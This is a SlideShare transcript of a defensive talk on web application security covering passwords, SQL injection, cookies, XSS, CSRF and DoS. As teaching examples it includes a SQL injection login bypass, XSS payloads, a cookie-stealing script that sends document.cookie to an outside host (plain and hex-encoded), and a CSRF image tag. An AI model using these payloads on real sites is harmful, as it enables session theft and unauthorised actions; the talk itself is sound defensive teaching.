SlideShare a Scribd company logo
Defending web applications from attacksRoberto Bicchieraihttp://roberto.open-lab.comrbicchierai@open-lab.com
“Web appsw.t.f.?”Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use)Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainlyfor a restrictedgroupofusers)Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)
	This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.
Seems easy to say “security”…Classical branches:Hardware securityCryptographyIdentity
CryptographyEvery single byte you send can be read.SSL does not guarantee 100% and slows down your apps.Sniffing requires knowledge, software, hardware and physical access to wires.
User identityUsername/e-mail and passwordstrength:  “p455w0rD.” better than “password” or “p”avoid login name, family name, birth date, phone number, child or pet’s names (remember Joshua!)try to avoid dictionary ones (record number of attempts!)never store passwords on your dbThe newdictionary: why “qazwsxedc” isnot so strong?OpenIDis a suitable alternative for some web apps.Biometrics are NOT.Datibiometrici (difficilmenteusabili)
Did I miss something?My servers are in a fortress3 firewall levels (and one dragon)I use 56 chars non-alpha pwdpwd expires every 10 daysI use SSL 1024(128) bit encryptionI hung blu velvet curtains to the windows
Your app sucks!InjectionCookiesXSSCSRFThe problem is in the application…
Injection: I don’t  need a password!Earth 2010:lotsofapplications are still open to the classicalsqlinjectionvulnerability:jsmitha’ or ‘a’=‘a“select  * fromuserswhere username=‘” + login +”’ and password=‘” + password +”’ ”DON’T
Damned HTML… and your browsers3 ingredients make web apps vulnerable:HTML was not for applications! But it is! (code injection is too easy)HTTP  uses cookies for handling sessionsJavascript, that is ubiquitous in a page (and reads cookies)butmainlybrowsers
Remember me!Saltedcookies, saltedcookies!Usesalt and peppertohash login data.Do notmakethemreversible!md5(user.id+”hash”)md5(user.id+”jfhsdj*dsj2+39jrw_enw”)
Protectcookies!lost cookies = session stolen, now I’m you!Hard to recover! Quite “easy” to preventuse HttpOnly cookiesrestrict cookie’s scope by setting host, path, expiryencrypt data saved on cookies
Injectionreloaded: aka XSS JSP-ASP example:notes:<textarea name=“notes”><%=note%></textarea>your name: <input type=”text” value=“<%=yourName%>”><%=yourName%>notes:</textarea><script>alert(“you stink!”)</script>your name:john “> <script>alert(“I can do everything!”)</script>thisis the basicsofXSS
XSSHow I’llgetyourcookies:http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>“Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com
XSS: encodeuserinputsDo not think it’s easy:if (userInputs.contains(“<script>”))	killTheUser();itdoesn’t work!http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3eDo yourecognizethis? Itis the same script!Some browsersaccept Ascii, hex, octal, url encoding, unicode, html, etc.
XSS: encodeuserinputsThe safest solution?Limit user inputs to plain text Html encode every single fieldhttp://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie&lt;/script&gt;Sweet dreams! This is always safe!
XSS: no plain text? so, pain test!Your app allows rich text inputs?Did your user need the full power of HTML? Try to avoid using it. Use a lightweight markup language instead.Markdown
Textile
BBCode
WikipediaXSS: I like HTMLSanitizing an HTML input is really hard work.Do not be shy:restrict allowed tags: <i><b><a><u><br><hr>kill dangerous tags: <script><object><embed>etc.test urls:             <a href=“javascript:   or  background-image:url(‘…limit css styles, e.g.: positionHtmlEncode all the rest!
XSS: test yourpagesThere are about 150 different XSS exploits!Test inputs using examples onhttp://ha.ckers.org/xss.htmlwith different browsers and versions.Use XSSme plugin for FireFox.
Missionaccomplished. XSS destroyed! Does the user exactly know what she is doing?Everytime?click herenext target:Cross Site Request Forgery
CSRF: howdoesit work?John is authenticated on site A. e.g.: stoks.example.comJohn visit the site B reading news: hotStoksNews.goodboy.comB contains the CSRF attack to site A e.g.:<img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”>John is now an happy owner 	of 1000 KRAK shares!
CSRF: protectyourappThere aren’t many solutions:Server-sideGeneratedTokens!
CSRF & Tokens: howtoyour server generates a random number and: - insert it as hidden parameter in the form (or in the url in case of get)- store it in the user session when the form request is received a hidden parameter is matched with the in-session one
CSRF & TokensCons:reloading a page (F5) will generate “invalid token error”if a page has different entry points token generation may be annoyingPros:safesafesafe
API: a newenemy?REST, JSON, XML API are not evil in themself, but:there is no “standard” authenticationwhen used with JS clients this may reveal the user keyyou are exposing new ways for xss and csrf
DoS: Denialof ServiceDoS protocol level: nothing to do… use intelligent gateways/routerDoS application level: try to monitor IPs,  manage a black-list (not useful for DDoS), kill suspect sessionsUse session-less pages until authentication“DoS” and “Success” are similar, if you can endure an attack, you are ready to support  thousands of users.
Yourapprocks!use strong passwordskeep data in safe placedo not store user’s passwordssalt and pepper everywhereuse SSLuse Httponly cookiesencode user inputs or sanitize themuse server-side tokens for critical actionsexpose a read-only API

More Related Content

PPT
Xss is more than a simple threat
PPTX
Make profit with UI-Redressing attacks.
PDF
Rich Web App Security - Keeping your application safe
PPTX
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
PDF
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
PPTX
JSFoo Chennai 2012
PPT
Starwest 2008
PDF
Top Ten Web Hacking Techniques (2008)
Xss is more than a simple threat
Make profit with UI-Redressing attacks.
Rich Web App Security - Keeping your application safe
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
JSFoo Chennai 2012
Starwest 2008
Top Ten Web Hacking Techniques (2008)

What's hot (20)

PPTX
Clickjacking DevCon2011
PDF
The Hidden XSS - Attacking the Desktop & Mobile Platforms
PDF
Top Ten Web Hacking Techniques (2010)
PPTX
Top Ten Web Hacking Techniques of 2012
PPT
4.Xss
PPTX
Secure web messaging in HTML5
PPTX
Browser Internals-Same Origin Policy
PPTX
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
PDF
VSA: The Virtual Scripted Attacker, Brucon 2012
PDF
Things that go bump on the web - Web Application Security
PPTX
Html5 security
PPT
Web Application Security: The Land that Information Security Forgot
PPTX
Introduction to CSRF Attacks & Defense
PDF
Web Security 101
PPT
Phpnw security-20111009
PPTX
Understanding Cross-site Request Forgery
PPT
Phishing with Super Bait
PPTX
Web application security for java (XSS,Session Fixation)
PPT
Django (Web Applications that are Secure by Default)
PPTX
Microdata semantic-extend
Clickjacking DevCon2011
The Hidden XSS - Attacking the Desktop & Mobile Platforms
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques of 2012
4.Xss
Secure web messaging in HTML5
Browser Internals-Same Origin Policy
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
VSA: The Virtual Scripted Attacker, Brucon 2012
Things that go bump on the web - Web Application Security
Html5 security
Web Application Security: The Land that Information Security Forgot
Introduction to CSRF Attacks & Defense
Web Security 101
Phpnw security-20111009
Understanding Cross-site Request Forgery
Phishing with Super Bait
Web application security for java (XSS,Session Fixation)
Django (Web Applications that are Secure by Default)
Microdata semantic-extend
Ad

Viewers also liked (8)

PDF
Game Design for Product Ideas and UI Design
PDF
Videogames Saving and Damning Players
PDF
Impact of technology on narratives
PDF
A Romantic Approach to Game Design
PDF
Game Design: from rules to craft
PPTX
How to Fail Kickstarter and Live Happily Ever After
PPT
Egypt
PDF
Playfied Storytelling
Game Design for Product Ideas and UI Design
Videogames Saving and Damning Players
Impact of technology on narratives
A Romantic Approach to Game Design
Game Design: from rules to craft
How to Fail Kickstarter and Live Happily Ever After
Egypt
Playfied Storytelling
Ad

Similar to Roberto Bicchierai - Defending web applications from attacks (20)

PPT
Xss is more than a simple threat
PPT
PHPUG Presentation
PPT
Top Ten Tips For Tenacious Defense In Asp.Net
PDF
Evolution Of Web Security
PPT
Top 10 Web Security Vulnerabilities (OWASP Top 10)
PDF
Ajax Security
PPTX
Django Web Application Security
PDF
Owasp top 10 2013
PPT
Defcon9 Presentation2001
PPT
Web Application Security - "In theory and practice"
PPTX
Javascript Security
PPT
Web Attacks - Top threats - 2010
PDF
The top 10 security issues in web applications
PPT
Intro to Web Application Security
PPTX
Cross Site Scripting ( XSS)
PPT
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
PDF
Devbeat Conference - Developer First Security
PPT
Php & Web Security - PHPXperts 2009
PPT
Owasp Top 10 - Owasp Pune Chapter - January 2008
PPT
Defending Against Attacks With Rails
Xss is more than a simple threat
PHPUG Presentation
Top Ten Tips For Tenacious Defense In Asp.Net
Evolution Of Web Security
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Ajax Security
Django Web Application Security
Owasp top 10 2013
Defcon9 Presentation2001
Web Application Security - "In theory and practice"
Javascript Security
Web Attacks - Top threats - 2010
The top 10 security issues in web applications
Intro to Web Application Security
Cross Site Scripting ( XSS)
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
Devbeat Conference - Developer First Security
Php & Web Security - PHPXperts 2009
Owasp Top 10 - Owasp Pune Chapter - January 2008
Defending Against Attacks With Rails

More from Pietro Polsinelli (20)

PDF
Surviving Applied Games (2018)
PPTX
Designing An Applied Game For Your Museum - Workshop
PPTX
Museums and Learning
PDF
The Perfect Fuckup Formula
PDF
Applied And Persuasive Applications For Museums
PDF
Impossible mission: estimating (game) development
PDF
Engagement as playful learning
PDF
(Mis)Understanding Applied Game Design: Vaccine!
PDF
From Web to Game Development
PDF
A Short Workshop in Game Design
PDF
Applied Game Design by Example
PDF
People in love at Games in Tuscany
PDF
From Gamification to Game Design
PDF
People in Love: a game about urban design
PDF
Development and storytelling: a many-to-many relationship
PDF
Game Design for Storytellers
PDF
Gamify with SVG / Canvas over Facebook Open Graph
PDF
From HTML5 websites to HTML5 games
PDF
Deterding on "Persuasive Design"
PDF
Engagement by Design
Surviving Applied Games (2018)
Designing An Applied Game For Your Museum - Workshop
Museums and Learning
The Perfect Fuckup Formula
Applied And Persuasive Applications For Museums
Impossible mission: estimating (game) development
Engagement as playful learning
(Mis)Understanding Applied Game Design: Vaccine!
From Web to Game Development
A Short Workshop in Game Design
Applied Game Design by Example
People in love at Games in Tuscany
From Gamification to Game Design
People in Love: a game about urban design
Development and storytelling: a many-to-many relationship
Game Design for Storytellers
Gamify with SVG / Canvas over Facebook Open Graph
From HTML5 websites to HTML5 games
Deterding on "Persuasive Design"
Engagement by Design

Recently uploaded (20)

PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
KodekX | Application Modernization Development
PPTX
Spectroscopy.pptx food analysis technology
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
DOCX
The AUB Centre for AI in Media Proposal.docx
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PPTX
Big Data Technologies - Introduction.pptx
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Electronic commerce courselecture one. Pdf
PDF
MIND Revenue Release Quarter 2 2025 Press Release
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Digital-Transformation-Roadmap-for-Companies.pptx
Understanding_Digital_Forensics_Presentation.pptx
KodekX | Application Modernization Development
Spectroscopy.pptx food analysis technology
Encapsulation_ Review paper, used for researhc scholars
The Rise and Fall of 3GPP – Time for a Sabbatical?
Advanced methodologies resolving dimensionality complications for autism neur...
Spectral efficient network and resource selection model in 5G networks
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
The AUB Centre for AI in Media Proposal.docx
NewMind AI Weekly Chronicles - August'25 Week I
Big Data Technologies - Introduction.pptx
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
“AI and Expert System Decision Support & Business Intelligence Systems”
Electronic commerce courselecture one. Pdf
MIND Revenue Release Quarter 2 2025 Press Release
Reach Out and Touch Someone: Haptics and Empathic Computing
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...

Roberto Bicchierai - Defending web applications from attacks

  • 1. Defending web applications from attacksRoberto Bicchieraihttp://roberto.open-lab.comrbicchierai@open-lab.com
  • 2. “Web appsw.t.f.?”Channel/protocol usage: e-mail client, skype, dropbox, twitter clients, etc. (mainly for personal use)Extra-nets: salesforce, bugzilla, teamwork, alfresco, home banking, jira, etc. (mainlyfor a restrictedgroupofusers)Extended audience: blogs, communities e.g.: facebook, linkedin (for huge groups and anonymous users)
  • 3. This speech is focused on letting you know some commons mistakes you MUST avoid when writing a web application.
  • 4. Seems easy to say “security”…Classical branches:Hardware securityCryptographyIdentity
  • 5. CryptographyEvery single byte you send can be read.SSL does not guarantee 100% and slows down your apps.Sniffing requires knowledge, software, hardware and physical access to wires.
  • 6. User identityUsername/e-mail and passwordstrength: “p455w0rD.” better than “password” or “p”avoid login name, family name, birth date, phone number, child or pet’s names (remember Joshua!)try to avoid dictionary ones (record number of attempts!)never store passwords on your dbThe newdictionary: why “qazwsxedc” isnot so strong?OpenIDis a suitable alternative for some web apps.Biometrics are NOT.Datibiometrici (difficilmenteusabili)
  • 7. Did I miss something?My servers are in a fortress3 firewall levels (and one dragon)I use 56 chars non-alpha pwdpwd expires every 10 daysI use SSL 1024(128) bit encryptionI hung blu velvet curtains to the windows
  • 8. Your app sucks!InjectionCookiesXSSCSRFThe problem is in the application…
  • 9. Injection: I don’t need a password!Earth 2010:lotsofapplications are still open to the classicalsqlinjectionvulnerability:jsmitha’ or ‘a’=‘a“select * fromuserswhere username=‘” + login +”’ and password=‘” + password +”’ ”DON’T
  • 10. Damned HTML… and your browsers3 ingredients make web apps vulnerable:HTML was not for applications! But it is! (code injection is too easy)HTTP uses cookies for handling sessionsJavascript, that is ubiquitous in a page (and reads cookies)butmainlybrowsers
  • 11. Remember me!Saltedcookies, saltedcookies!Usesalt and peppertohash login data.Do notmakethemreversible!md5(user.id+”hash”)md5(user.id+”jfhsdj*dsj2+39jrw_enw”)
  • 12. Protectcookies!lost cookies = session stolen, now I’m you!Hard to recover! Quite “easy” to preventuse HttpOnly cookiesrestrict cookie’s scope by setting host, path, expiryencrypt data saved on cookies
  • 13. Injectionreloaded: aka XSS JSP-ASP example:notes:<textarea name=“notes”><%=note%></textarea>your name: <input type=”text” value=“<%=yourName%>”><%=yourName%>notes:</textarea><script>alert(“you stink!”)</script>your name:john “> <script>alert(“I can do everything!”)</script>thisis the basicsofXSS
  • 14. XSSHow I’llgetyourcookies:http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>“Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.” www.cgisecurity.com
  • 15. XSS: encodeuserinputsDo not think it’s easy:if (userInputs.contains(“<script>”)) killTheUser();itdoesn’t work!http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3eDo yourecognizethis? Itis the same script!Some browsersaccept Ascii, hex, octal, url encoding, unicode, html, etc.
  • 16. XSS: encodeuserinputsThe safest solution?Limit user inputs to plain text Html encode every single fieldhttp://host/a.php?variable=&quot;&gt;&lt;script&gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?%20+document.cookie&lt;/script&gt;Sweet dreams! This is always safe!
  • 17. XSS: no plain text? so, pain test!Your app allows rich text inputs?Did your user need the full power of HTML? Try to avoid using it. Use a lightweight markup language instead.Markdown
  • 20. WikipediaXSS: I like HTMLSanitizing an HTML input is really hard work.Do not be shy:restrict allowed tags: <i><b><a><u><br><hr>kill dangerous tags: <script><object><embed>etc.test urls: <a href=“javascript: or background-image:url(‘…limit css styles, e.g.: positionHtmlEncode all the rest!
  • 21. XSS: test yourpagesThere are about 150 different XSS exploits!Test inputs using examples onhttp://ha.ckers.org/xss.htmlwith different browsers and versions.Use XSSme plugin for FireFox.
  • 22. Missionaccomplished. XSS destroyed! Does the user exactly know what she is doing?Everytime?click herenext target:Cross Site Request Forgery
  • 23. CSRF: howdoesit work?John is authenticated on site A. e.g.: stoks.example.comJohn visit the site B reading news: hotStoksNews.goodboy.comB contains the CSRF attack to site A e.g.:<img src=“http://stoks.example.com/buy.jsp? symbol=KRAK&shares=1000”>John is now an happy owner of 1000 KRAK shares!
  • 24. CSRF: protectyourappThere aren’t many solutions:Server-sideGeneratedTokens!
  • 25. CSRF & Tokens: howtoyour server generates a random number and: - insert it as hidden parameter in the form (or in the url in case of get)- store it in the user session when the form request is received a hidden parameter is matched with the in-session one
  • 26. CSRF & TokensCons:reloading a page (F5) will generate “invalid token error”if a page has different entry points token generation may be annoyingPros:safesafesafe
  • 27. API: a newenemy?REST, JSON, XML API are not evil in themself, but:there is no “standard” authenticationwhen used with JS clients this may reveal the user keyyou are exposing new ways for xss and csrf
  • 28. DoS: Denialof ServiceDoS protocol level: nothing to do… use intelligent gateways/routerDoS application level: try to monitor IPs, manage a black-list (not useful for DDoS), kill suspect sessionsUse session-less pages until authentication“DoS” and “Success” are similar, if you can endure an attack, you are ready to support thousands of users.
  • 29. Yourapprocks!use strong passwordskeep data in safe placedo not store user’s passwordssalt and pepper everywhereuse SSLuse Httponly cookiesencode user inputs or sanitize themuse server-side tokens for critical actionsexpose a read-only API
  • 31. Thank you!Now: Q&Aa startingpointwith a collectionof security relatedlinks:http://delicious.com/robicch/securitymy Java sanitizer: http://roberto.open-lab.com